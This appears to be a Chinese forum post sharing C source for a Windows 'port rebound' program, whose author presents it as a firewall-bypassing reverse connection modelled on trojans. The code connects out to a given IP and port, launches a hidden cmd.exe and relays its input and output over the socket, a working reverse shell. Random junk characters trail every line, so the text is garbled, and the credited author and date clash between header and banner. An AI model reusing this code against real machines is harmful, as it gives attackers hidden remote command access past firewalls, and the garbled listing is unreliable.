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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *eTqVG.  
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/* ============================== r;.yz I  
Rebound port in Windows NT *SbMqASv4G  
By wind,2006/7 taHJ ub  
===============================*/ vAF "n  
#include )Pa'UGY  
#include ah4N|zJ>v  
{Qf=G|Ah  
#pragma comment(lib,"wsock32.lib") H7&8\ FNa  
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void OutputShell(); m{Wu" ;e  
SOCKET sClient; Y1W1=Uc uk  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; urs,34h  
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void main(int argc,char **argv) J9--tJ?[>o  
{ G#q@v(_b  
WSADATA stWsaData; TTX5EDCrC  
int nRet; ok"k*?Ov  
SOCKADDR_IN stSaiClient,stSaiServer; Y|F9}hj(  
b5dD/-Vj  
if(argc != 3) E1aHKjLQ  
{ O_ muD\  
printf("Useage:\n\rRebound DestIP DestPort\n"); FBe;1OU  
return; 9]([\%)  
} r ,8 [O  
x/I%2F  
WSAStartup(MAKEWORD(2,2),&stWsaData); B?gOHG*vd>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +< Nn~1  
#>("CAB02T  
stSaiClient.sin_family = AF_INET; ~|D Ut   
stSaiClient.sin_port = htons(0); iJ)_RSFK  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :gv{F} ##  
$u6"*|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Fh&G;aEq  
{ Wa>}wA=v  
printf("Bind Socket Failed!\n"); d=$Mim  
return; D :4[ ~A  
} 1APe=tJ  
h9&0Z +zs  
stSaiServer.sin_family = AF_INET; !3c\NbU  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1Z/(G1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a{'vN93  
g]l'' 7G  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cN-?l7  
{ gS!:+G%  
printf("Connect Error!"); t9GR69v:?  
return; ^,lIK+#Elz  
} ehGLk7@7&  
OutputShell(); HYD'.uj  
} B-Ll{k^  
s0TORl6Z|  
void OutputShell() ,a{P4Bq  
{ ;IvY^(YS@;  
char szBuff[1024]; 8rAg \H3E  
SECURITY_ATTRIBUTES stSecurityAttributes; ?8H8O %Z8  
OSVERSIONINFO stOsversionInfo; G/y5H;<9M  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]!W=^!  
STARTUPINFO stStartupInfo; ihhDOmUto  
char *szShell; U|H=Y"pL  
PROCESS_INFORMATION stProcessInformation; ^&9zw\x;z  
unsigned long lBytesRead; m^!Z_]A![  
^  glri$m  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %vn"{3y>rF  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); j1Y~_  
stSecurityAttributes.lpSecurityDescriptor = 0; L Tm2G4+]  
stSecurityAttributes.bInheritHandle = TRUE; R"/GQ`^AqA  
hIYNhZv  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yM6pd U]i  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5zK4Fraf  
D=A&+6B@-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); XAD- 'i  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Si4!R+4w  
stStartupInfo.wShowWindow = SW_HIDE; #ZUI)9My@  
stStartupInfo.hStdInput = hReadPipe; 4@+`q *  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CCs%%U/=  
$8)+XmsCr  
GetVersionEx(&stOsversionInfo); W 8<&gh+  
^2:p|:Bz!l  
switch(stOsversionInfo.dwPlatformId) Y Vt% 0  
{ OR P\b  
case 1: X~b X5b[P  
szShell = "command.com"; CImWd.W9~  
break; `P@<3]  
default: Y,qI@n<  
szShell = "cmd.exe"; hk;5w{t}}  
break; v4a8}G  
} +qN>.y!Y  
; }I:\P  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '0;l]/i.  
^ox=HNV  
send(sClient,szMsg,77,0); c8 )DuJ#U  
while(1) + )AG*  
{ aL\PGdgO  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C!O0xhs  
if(lBytesRead) :^lI`9'*R  
{ LRxZcxmy  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i]c!~`  
send(sClient,szBuff,lBytesRead,0); h:))@@7MJ  
} ,hDW Ps2S  
else : g7@PJND  
{ B6+khuG(  
lBytesRead=recv(sClient,szBuff,1024,0); `{@8Vsmy:  
if(lBytesRead<=0) break; ''cInTCr  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d"1]4.c  
} V5@:#BIs  
} +q<jAW A  
+uF>2b6'  
return; -u+vJ6EY  
}
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